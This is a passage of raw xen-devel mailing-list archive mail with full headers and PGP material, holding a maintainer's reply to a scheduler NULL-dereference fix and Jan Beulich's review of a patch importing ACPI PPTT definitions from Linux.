Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784213046; x=1784817846; darn=lists.xenproject.org;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=qU4UbXNQHSzmAawu9IUZ1dqcm80Sz+oPzir1mF0+hP0=;
        b=RQ0d0vSl3/kJepXeFkIkiO8fFlk0lsPucWvvTEMWVanU3m/BMDZnf8+9d4tXf51out
         PeBNkvfJas+78d4LO5F0jv2AEQjLSAIKwz981STUAxHNLooHnArxHJGhBLvkEGiAcNM0
         U+1z68GeTuXT0RxSTKNlIooQD2TIpB2+byvE2aMk/f7TykRl0HNcWR236yu8Fl5VGK01
         SqW4AazMLNFg3/EwxI3XhpHBQAt/QZ9do/coQtvdx2WPU1yiUANCmYogJWULiyCInrkl
         7y3xg5fooFLzKxfYzDEs5apNLIUJP3oUNLZWLGbjmkH4RyIXleOrHZ47m1lgtWppCRem
         Nfnw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784213046; x=1784817846;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=qU4UbXNQHSzmAawu9IUZ1dqcm80Sz+oPzir1mF0+hP0=;
        b=WiP0SgFvKK8RDHlwAPwJZdahX5y/fHfu0ZnK2u5LcMSFecjvOICjWZktIkJkicYOAP
         ivh/8CKM4XTibbN9yQLatQf7ptLXJ017Fyg/wFcKCEnJ0TnNXCZ6txkWRAlU/s3maIh1
         QblGHqWHd4Wc0KzZGH2uDkWaJyzvdlHBQt/N0XS0+JbjcgZlsxQAu41G1FBu5cDDp9PK
         2E8Ad2y8GVVSm02Kk+3eiw8IjMMVmfhY76Rnhp7NhYFfmy09JXAqj+y5V7rtypHAFnOX
         ZSDqR6HRfQZGMZWky9wpFO49J372Ltyetmv81C1W6g6usLLCiKMl8/aPaVo4GnFxo0Kp
         amfg==
X-Forwarded-Encrypted: i=1; AHgh+Rqv7vUi0SVIYDZaR3nHFyJp8JVtglS+6z0SBF2EfZv+fdfmrsH7hXlX5RZ/4Tz7n8aSSC4msM7KoPo=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yxl9xoTgcY7deiz6M2suG/hay27HszMPGfY/+SR4QqdcXEqltgc
	Y4UMDDfNoJywAgu14nS+7Q76ACga52DVCjT3oUjnsXGYd4cAI3pniYjYqRt/bZHgAS6IiJHw0ez
	RZvSUt7U=
X-Gm-Gg: AfdE7ck9YdjQWbZBCcI+tTOQpe5Y71uyTAk8CoKfqPx7V3kM6n92rOKKYdGUacUzC1X
	7oRRfFMwVjIJTbbjqXowv4NDNZ4Ef+bAWmBzDS/23EAB8tQywbyY7JmECMIL1Sp0bNCWBi6Qm0I
	4XB2m87RqTLrmuPdqPNRGrvsGVQvca+Q83WIy0I43C2NEbl68z9swAUzGPXo3NJSaG9bhkny4BP
	1MzeFa/Qs3OdR5fltDhsZ9Lb7RTfFyaQDf8fla/Qg7pCVpNu27WWTEZa6IR2yERrTNT7P5k1BHe
	xAK65QvqjCuSUwCzHn0CLoQ80W5aiIs1vl1SvSW1gqsig1rb7uxfEhv84rCDjugLcGyYjYQLvKH
	IRqjgeZzdPlpqMmCtO/CwY53lOGL++q7/lKQnFLUzBrYLjPVIzCpEZsXsjXVExS7aEMQeNVtzfZ
	3AgJJazL9z6CCYGH8XmPDhAov1U4Bj8XMZsp00/9jWubOuzQDxbeKnFCh8r4q6bESQVPok15MZr
	SGLItym1qfVwmlZSWVhvoa/vTHtyYwB
X-Received: by 2002:a17:907:db15:b0:c16:6469:3f1b with SMTP id a640c23a62f3a-c16646943b8mr681108466b.41.1784213045657;
        Thu, 16 Jul 2026 07:44:05 -0700 (PDT)
Message-ID: <551a4c50-3fd7-4aa2-b39a-a3820771ef36@suse.com>
Date: Thu, 16 Jul 2026 16:44:04 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] xen/sched: rt: fix NULL cpupool dereference in
 move_repl_timer()
To: Oleksii Moisieiev <Oleksii_Moisieiev@epam.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Meng Xu <mengxu@cis.upenn.edu>
References: <38cc09ca49bb020d4b13ead36e4c9f04da2d00e5.1784211528.git.oleksii_moisieiev@epam.com>
Content-Language: en-US
From: Juergen Gross <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSKN4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEB
 AAHNH0p1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNvbT7CwHkEEwECACMFAlOMcK8CGwMH
 CwkIBwMCAQYVCAIJCgsEFgIDAQIeAQIXgAAKCRCw3p3WKL8TL8eZB/9G0juS/kDY9LhEXseh
 mE9U+iA1VsLhgDqVbsOtZ/S14LRFHczNd/Lqkn7souCSoyWsBs3/wO+OjPvxf7m+Ef+sMtr0
 G5lCWEWa9wa0IXx5HRPW/ScL+e4AVUbL7rurYMfwCzco+7TfjhMEOkC+va5gzi1KrErgNRHH
 kg3PhlnRY0Udyqx++UYkAsN4TQuEhNN32MvN0Np3WlBJOgKcuXpIElmMM5f1BBzJSKBkW0Jc
 Wy3h2Wy912vHKpPV/Xv7ZwVJ27v7KcuZcErtptDevAljxJtE7aJG6WiBzm+v9EswyWxwMCIO
 RoVBYuiocc51872tRGywc03xaQydB+9R7BHPzsBNBFOMcBYBCADLMfoA44MwGOB9YT1V4KCy
 vAfd7E0BTfaAurbG+Olacciz3yd09QOmejFZC6AnoykydyvTFLAWYcSCdISMr88COmmCbJzn
 sHAogjexXiif6ANUUlHpjxlHCCcELmZUzomNDnEOTxZFeWMTFF9Rf2k2F0Tl4E5kmsNGgtSa
 aMO0rNZoOEiD/7UfPP3dfh8JCQ1VtUUsQtT1sxos8Eb/HmriJhnaTZ7Hp3jtgTVkV0ybpgFg
 w6WMaRkrBh17mV0z2ajjmabB7SJxcouSkR0hcpNl4oM74d2/VqoW4BxxxOD1FcNCObCELfIS
 auZx+XT6s+CE7Qi/c44ibBMR7hyjdzWbABEBAAHCwF8EGAECAAkFAlOMcBYCGwwACgkQsN6d
 1ii/Ey9D+Af/WFr3q+bg/8v5tCknCtn92d5lyYTBNt7xgWzDZX8G6/pngzKyWfedArllp0Pn
 fgIXtMNV+3t8Li1Tg843EXkP7+2+CQ98MB8XvvPLYAfW8nNDV85TyVgWlldNcgdv7nn1Sq8g
 HwB2BHdIAkYce3hEoDQXt/mKlgEGsLpzJcnLKimtPXQQy9TxUaLBe9PInPd+Ohix0XOlY+Uk
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <38cc09ca49bb020d4b13ead36e4c9f04da2d00e5.1784211528.git.oleksii_moisieiev@epam.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------zrwVu63x8Q7zknahjVYyuM1w"
X-purgate-ID: tlsNG-33051d/1784213046-6F6C64E9-946DB7B3/0/0
X-purgate-type: clean
X-purgate-size: 8668

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------zrwVu63x8Q7zknahjVYyuM1w
Content-Type: multipart/mixed; boundary="------------eM0gMXZJbelM0DsjrXnL90G0";
 protected-headers="v1"
From: Juergen Gross <jgross@suse.com>
To: Oleksii Moisieiev <Oleksii_Moisieiev@epam.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Meng Xu <mengxu@cis.upenn.edu>
Message-ID: <551a4c50-3fd7-4aa2-b39a-a3820771ef36@suse.com>
Subject: Re: [PATCH] xen/sched: rt: fix NULL cpupool dereference in
 move_repl_timer()
References: <38cc09ca49bb020d4b13ead36e4c9f04da2d00e5.1784211528.git.oleksii_moisieiev@epam.com>
In-Reply-To: <38cc09ca49bb020d4b13ead36e4c9f04da2d00e5.1784211528.git.oleksii_moisieiev@epam.com>

--------------eM0gMXZJbelM0DsjrXnL90G0
Content-Type: multipart/mixed; boundary="------------jZI6gPQ5DdPlPrRJF6N8zyL8"

--------------jZI6gPQ5DdPlPrRJF6N8zyL8
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMTYuMDcuMjYgMTY6MjAsIE9sZWtzaWkgTW9pc2llaWV2IHdyb3RlOg0KPiBzY2hlZHVs
ZV9jcHVfcm0oKSBjbGVhcnMgdGhlIGNwdXBvb2wgcG9pbnRlciBvZiB0aGUgc2NoZWR1bGlu
Zw0KPiByZXNvdXJjZSBiZWZvcmUgY2FsbGluZyBzY2hlZF9kZWluaXRfcGRhdGEoKToNCj4g
DQo+ICAgICAgc3ItPmNwdXBvb2wgPSBOVUxMOw0KPiAgICAgIC4uLg0KPiAgICAgIHNjaGVk
X2RlaW5pdF9wZGF0YShkYXRhLT5vbGRfb3BzLCBkYXRhLT5wcHJpdl9vbGQsIGNwdSk7DQo+
IA0KPiBGb3IgUlREUywgcnRfZGVpbml0X3BkYXRhKCkgY2FsbHMgbW92ZV9yZXBsX3RpbWVy
KCkgd2hlbiB0aGUNCj4gcm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aXZhdGUgYW5kIHVzZSB0aGF0IGluIG1vdmVfcmVwbF90aW1l
cigpLg0KDQoNCkp1ZXJnZW4NCg==
--------------jZI6gPQ5DdPlPrRJF6N8zyL8
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG2t14zWPvxXP3FAp2pkW0xqG7/377qptDmrk42GlSK
N4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEBAAHNHEp1ZXJnZW4gR3Jvc3Mg
PGpnQHBmdXBmLm5ldD7CwHkEEwECACMFAlOMcBYCGwMHCwkIBwMCAQYVCAIJCgsE
FgIDAQIeAQIXgAAKCRCw3p3WKL8TL0KdB/93FcIZ3GCNwFU0u3EjNbNjmXBKDY4F
UGNQH2lvWAUy+dnyThpwdtF/jQ6j9RwE8VP0+NXcYpGJDWlNb9/JmYqLiX2Q3Tye
vpB0CA3dbBQp0OW0fgCetToGIQrg0MbD1C/sEOv8Mr4NAfbauXjZlvTj30H2jO0u
+6WGM6nHwbh2l5O8ZiHkH32iaSTfN7Eu5RnNVUJbvoPHZ8SlM4KWm8rG+lIkGurq
qu5gu8q8ZMKdsdGC4bBxdQKDKHEFExLJK/nRPFmAuGlId1E3fe10v5QL+qHI3EIP
tyfE7i9Hz6rVwi7lWKgh7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d3bxALOknAp4dN3QwBYCKuZ7AddY9yjynVaD5X7nF9nO5B
jR/i1DG86lem3iBDXzXsZDn8R3/CwO0EGAEIACAWIQSFEmdy6PYElKXQl/ew3p3W
KL8TLwUCWt3w0AIbAgCBCRCw3p3WKL8TL3YgBBkWCAAdFiEEUy2wekH2OPMeOLge
gFxhu0/YY74FAlrd8NAACgkQgFxhu0/YY75NiwD/fQf/RXpyv9ZX4n8UJrKDq422
bcwkujisT6jix2mOOwYBAKiip9+mAD6W5NPXdhk1XraECcIspcf2ff5kCAlG0DIN
aTUH/RIwNWzXDG58yQoLdD/UPcFgi8GWtNUp0Fhc/GeBxGipXYnvuWxwS+Qs1Qay
7/Nbal/v4/eZZaWs8wl2VtrHTS96/IF6q2o0qMey0dq2AxnZbQIULiEndgR625EF
RFg+IbO4ldSkB3trsF2ypYLij4ZObm2casLIP7iB8NKmQ5PndL8Y07TtiQ+Sb/wn
g4GgV+BJoKdDWLPCAlCMilwbZ88Ijb+HF/aipc9hsqvW/hnXC2GajJSAY3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------jZI6gPQ5DdPlPrRJF6N8zyL8--

--------------eM0gMXZJbelM0DsjrXnL90G0--

--------------zrwVu63x8Q7zknahjVYyuM1w
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpY7jUFAwAAAAAACgkQsN6d1ii/Ey/P
3Qf/deBIBuhVPb1nNGKRc5nPHpGMPtG3aRI8vK/G86UhQdWN1YzBIoybweO+wQJ6XQuggqEel1+8
g7UQflVJpYUvR7fDzEaMQNWFshnpL5j/tc8Ew6pAQMIM5SI+0EcyfQheEMc7AMcH2MkmywMIDSP9
Qpm2ODBsZBU4Q5nwekNIWfC818b5c7bxSfyLS+/2YLp1JafYEVCTTUwaLhybSKaH0prDbvXOH3JJ
oM1qOGluIPiXpjJDhsamOjCkwicHv2A2oysRF2fBL4qM2SJTLdHg4YJKnL5TEwvxAlByljpZEdSQ
jRk/B3PQzf7nViczAKwiCpP3/JdaC5o20idBLs8R1A==
=asRG
-----END PGP SIGNATURE-----

--------------zrwVu63x8Q7zknahjVYyuM1w--


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 14:51:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 14:51:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364221.1615540 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkNR5-0005s6-8u; Thu, 16 Jul 2026 14:51:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364221.1615540; Thu, 16 Jul 2026 14:51:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkNR5-0005rz-60; Thu, 16 Jul 2026 14:51:39 +0000
Received: by outflank-mailman (input) for mailman id 1364221;
 Thu, 16 Jul 2026 14:51:38 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wkNR4-0005rt-AJ
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 14:51:38 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkNR3-008Bna-A6
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 16:51:37 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58efe9-5cb7-0a2a0a5109dd-0a2a45099abc-44
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:51:37 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58eff9-be1a-0a2a45090019-d1558036e95a-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:51:37 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-4953ddae026so12976295e9.3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 07:51:37 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f4634e036sm28480301f8f.5.2026.07.16.07.51.34
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 16 Jul 2026 07:51:35 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784213497; x=1784818297; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=KJdAVEgKyaQcD3zovGTs8U+yQLYpwodJ3cTWgNRQCMo=;
        b=KcwwiNiA+5MBUlbfLXd21TNTaL0nKwhsoIkdwHWc6/zzo19hucPUOdaZj1wtcnwPtB
         k4cM44/zIYpo5Pd5k3aSP/SzjRlEPuL+OYIcdEFR2BZedx3g6iNWO/exO0YyZa7LK6sF
         FyejddXi7UJXmpjVQsguu1KG6axMvfigWM1eehPniKSzlX57LuP4FLZh13da6768TCKI
         lbcSBiMXKcV0QvI8Xd9UCRUc05qx7vD0xgkjTBOF+T0xrjG/bupxA2OjPoGAAOWp3/AD
         aYWj/dN1kGXu1OLKqVoOUBjNwdp7d3MHNWakdkKYGNr7xbYM71xA0qkMxTlBdcynyVYg
         Ikkg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784213497; x=1784818297;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=KJdAVEgKyaQcD3zovGTs8U+yQLYpwodJ3cTWgNRQCMo=;
        b=s08kFk/YBa53gE1NIzfndtKwu2DvXMhqzOwupnRe3m03fiwDs99GOe9cP1MEK0y1qH
         zX8gFUFMl05TtFMVh2k724bWGpP2dGMpHDWPUdMIHKg+OXp5FZCf1sq2EiuTWid1sHPi
         MP4BHrSlKF0yGBF+D5PSysMuuZxuEdSb2Pm1oeDkdT/deQdM3LzEI0dwC9/Acr5fdEY4
         xVR2YKu65ZLBv8t0dJQ0RZKuNdZke46B7SNT6gd6KDcnaIOwt2ORdlkMYuWa2g3xneVj
         JdXCbJqXtExuEQzRcCZHz86Hq3ZDs3wURNYkWkeRZEHGr12EakS2SoEhABPvgrLBnEwH
         l/hQ==
X-Forwarded-Encrypted: i=1; AHgh+RqSHzh5yjLOQ0OMgz8Ac2MbuhcsjvmFF6quBuSjU3GUSJVYNENoRBqmhOQhwls7gaRdbZU1aWsgGfY=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzWkryV1DVm9wmdrW7tw1gNsa9n7ekbCpWMWNMwhDk7GSe6lTP1
	WA7v1EvupgJvZBexaE9pHNvlDpbVZUiFVdXj993vqK6T2Bahh0JqMf8mbrlDhugu0uMFavbGotp
	8wpsCbw==
X-Gm-Gg: AfdE7cl1VjsTVUyYtb4UYvFGzRJHBvv3wP0bQcahRoTCGsBEKJdbXqEcrgcjD3gyO3N
	ww50ZCIHhbKVZkX/EQ3NRNO0d9jT7VfudFenx1wsJOTEEbGBltQmhOF0dCKRQnmeoxrb7Q5x+mW
	sUluMLeQEQ2XZOsALYtZdSbVGgEOLemksmOiogXrexXZDkAz8HUBNdE6ZuQxwPqQW+H6PJPY1sK
	95ZwfiMArEJr6OAG2GlsKb78SP3NmW45tchMzxkMEYdRU/rQC+EXeP9agQuaLrE40JsYgIbt7Wz
	NhO/ORie9RRZoIdJ/mH4nwXP2TkjjCBSK0kYa1x+sSvZUfvZOCiK+p/OQOabtMKVIgIi2BgZMXM
	xjz0xdnyGSkUB4Ps3bw7/8ZWNOGw5VCoX1nAh7JwiVztWdgeGmh/LNJ+0gIWtkRC+u3ElLnF5zo
	4t+7UEGjLznNeNIlj53NB5L8uDkjxhwzmJg1oFBfFBBCOAta9CDjqSNfZzcyH9ND68Pw==
X-Received: by 2002:a05:600c:6989:b0:493:bfbf:1da4 with SMTP id 5b1f17b1804b1-493f881de65mr228121365e9.22.1784213495831;
        Thu, 16 Jul 2026 07:51:35 -0700 (PDT)
Message-ID: <077f245a-7a0d-497d-90db-6a0bfaf4bd0a@suse.com>
Date: Thu, 16 Jul 2026 16:51:34 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 4/5] xen/acpi: Import PPTT definitions from Linux
To: Hirokazu Takahashi <taka@valinux.co.jp>
Cc: Mykyta_Poturai@epam.com, xen-devel@lists.xenproject.org
References: <20260714104445.919830-1-taka@valinux.co.jp>
 <20260714104445.919830-5-taka@valinux.co.jp>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260714104445.919830-5-taka@valinux.co.jp>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-bad1c0/1784213497-BE2C4034-B9923FC2/0/0
X-purgate-type: clean
X-purgate-size: 732

On 14.07.2026 12:44, Hirokazu Takahashi wrote:
> Import the Processor Properties Topology Table (PPTT) definitions
> from the Linux kernel header (include/acpi/actbl2.h) into Xen.
> 
> Origin: git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git 091c4af3562d

Not really. This was only a correction to what was done earlier.
e62f8227851d mirrored an ACPICA commit moving PPTT from actbl1.h to
actbl2.h. b8355bcac253 is where the definitions first appeared. I'd
suggest to reference all three commits, maybe also the one that was
in need of correction.

> Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>

With the Origin: tags properly sorted:
Acked-by: Jan Beulich <jbeulich@suse.com>

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 15:09:14 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 15:09:14 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364235.1615548 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkNhx-0007xF-Je; Thu, 16 Jul 2026 15:09:05 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364235.1615548; Thu, 16 Jul 2026 15:09:05 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkNhx-0007x8-GD; Thu, 16 Jul 2026 15:09:05 +0000
Received: by outflank-mailman (input) for mailman id 1364235;
 Thu, 16 Jul 2026 15:09:04 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wkNhw-0007wj-H1
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 15:09:04 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkNhv-006GOF-Tw
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 17:09:03 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58f40f-5cb7-0a2a0a5109dd-0a2a4507d91c-2
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 17:09:03 +0200
Received: from [209.85.221.50] (helo=mail-wr1-f50.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58f40f-b4ea-0a2a45070019-d155dd32e543-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 17:09:03 +0200
Received: by mail-wr1-f50.google.com with SMTP id
 ffacd0b85a97d-4759b4f0897so1962610f8f.1
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 08:09:03 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
